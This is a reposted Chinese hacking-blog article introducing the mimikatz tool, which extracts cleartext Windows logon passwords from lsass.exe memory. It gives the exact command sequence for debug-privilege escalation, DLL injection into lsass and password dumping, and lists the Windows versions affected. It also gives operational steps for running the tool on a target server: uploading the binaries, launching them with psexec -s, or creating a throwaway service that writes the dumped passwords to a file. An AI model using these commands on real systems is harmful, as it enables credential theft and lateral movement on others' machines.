轻量级调试器神器 - mimikatz - 直接抓取 Windows 明文密码！

转载

cnbird2008 于 2013-08-15 15:47:16 发布 1198 收藏

昨天有朋友发了个法国佬写的神器叫 mimikatz 让我们看下

神器下载地址:

http://blog.gentilkiwi.com/mimikatz

还有一篇用这个神器直接从 lsass.exe 里获取windows处于active状态账号明文密码的文章

http://pentestmonkey.net/blog/mimikatz-tool-to-recover-cleartext-passwords-from-lsass

自己尝试了下用 win2008 r2 x64 来测试

轻量级调试器神器 - mimikatz

最后测试成功 wdigest 就是我的明文密码

我还测过密码复杂度在14位以上

包含数字 大小写字母 特殊字符的密码

一样能抓出明文密码来

以前用 wce.exe 或 lslsass.exe 通常是只能从内存里顶多抓出active账号的 lm hash 和 ntlm hash

但用了这个神器抓出明文密码后

由此我们可以反推断 在 lsass.exe 里并不是只存有 lm hash 和 ntlm hash 而已

应该还存在有你的明文密码经过某种加密算法 (注意: 是加密算法 而不是hash算法 加密算法是可逆的 hash算法是不可逆的)

这样这个加密算法是可逆的 能被解密出明文

所以进程注入 lsass.exe 时 所调用的 sekurlsa.dll 应该包含了对应的解密算法

逆向功底比较好的童鞋可以尝试去逆向分析一下

然后这个神器的功能肯定不仅仅如此 在我看来它更像一个轻量级调试器

可以提升进程权限 注入进程 读取进程内存等等

下面展示一个 读取扫雷游戏的内存的例子

轻量级调试器神器 - mimikatz

我们还可以通过pause命令来挂起该进程 这个时候游戏的时间就静止了

轻量级调试器神器 - mimikatz

总之这个神器相当华丽 还有更多能力有待各黑阔们挖掘 =..=~

站长评论：

抓取 lsass.exe 中的用户明文密码：

```
//提升权限
privilege::debug

//注入dll
inject::process lsass.exe sekurlsa.dll

//抓取密码
@getLogonPasswords
```

经测试，通杀：

> Windows XP (部分可以)
> Windows Server 2003
> Windows Server 2008
> Windows Vista
> Windows 7
> Windows 7 SP1

貌似只有 Windows 2000 无法使用，最低支持 Windows XP。

不过，2000/xp 可以用以前的 FindPassword ，Windows 2003 - Windows 7 微软的这个处理机制没有变。

域也可以，理论上是没问题的，登录过都在 lsass.exe 里面。

原理就是登陆的时候输入的密码，经过 lsass.exe 里的 wdigest 和 tspkg 两个模块调用后，它们对之进行加密处理，**而没有进行擦除，而且该加密通过特征可以定位，并且按照微软的算法可逆。**

只要登陆过，就可以抓出来，它进行枚举的，这一切都是微软的错。

简单地说，在 Windows 中，当用户登录时，lsass.exe 使用一个可逆的算法，加密过的明文密码，并且把密文保存在内存中，没有清理，然后可以抓出来，还原。

也就是说，开机以后，**只要是登陆过的用户，在没重启前（因为重启内存就清零了，这里不包括使用其他方法清理内存），都可以抓出来，注销也是无用的，因为内存中的密码并没有清除**，所以还是可以抓出来的。

我想微软可能会出个补丁，清理这块……

这玩意儿功能还有很多，自己看看参数，例如：ts，是调用 mimikatz.sys 隐藏登陆的终端。

这应该算是密码泄露，很严重的漏洞，估计微软会出补丁。

2012-2-27 3:10:48 补充：

看雪已经有详细的原理分析帖子了，并且还在更新，地址：http://bbs.pediy.com/showthread.php?t=146884

在远程终端（3389、mstsc.exe）、虚拟桌面中抓取密码的方法：

通常你在远程终端中运行该程序会提示：存储空间不足，无法处理此命令。

这是因为在终端模式下，不能插入远线程，跨会话不能注入，你需要使用如下方法执行该程序：

首先提取几个文件，只抓取密码的话，只需要这几个文件：

```
mimikatz_trunk\tools\PsExec.exe
mimikatz_trunk\Win32\mimikatz.exe
mimikatz_trunk\Win32\sekurlsa.dll
```

打包后上传至目标服务器，然后解压释放，注意路径中绝对不能有中文（可以有空格）！否则加载DLL的时候会报错：找不到文件。

然后使用以下任何一种方法即可抓取密码：

```
//最简单实用的方法，使用 PsExec.exe 启动。
//在系统帐户中运行 cmd.exe，或者直接运行 mimikatz.exe
psexec -s cmd.exe
//启动 mimikatz.exe
C:\mimikatz_trunk\Win32\mimikatz.exe
//提升权限
privilege::debug
//注入dll，要用绝对路径！并且路径中绝对不能有中文（可以有空格）！
inject::process lsass.exe "C:\mimikatz_trunk\Win32\sekurlsa.dll"
//抓取密码
@getLogonPasswords
//退出，不要用 ctrl + c，会导致 mimikatz.exe CPU 占用达到 100%，死循环。
exit

//*********************************************************

//使用 At 启动
at ***

//*********************************************************

//创建服务方法
sc create getpassword binpath= "cmd.exe /c c:\xxx\mimikatz.exe < command.txt > password.txt"
sc start getpassword
sc delete getpassword

//*********************************************************

//telnet 远程命令管道
telnet ****
```

部分内容转自：http://hi.baidu.com/hackercasper/blog/item/b080dbd05eb6a5cc562c8461.html

本文“轻量级调试器神器 - mimikatz - 直接抓取 Windows 明文密码！”，来自：Nuclear'Atk 网络安全研究中心，本文地址：http://lcx.cc/?i=2265，转载请注明作者及出处！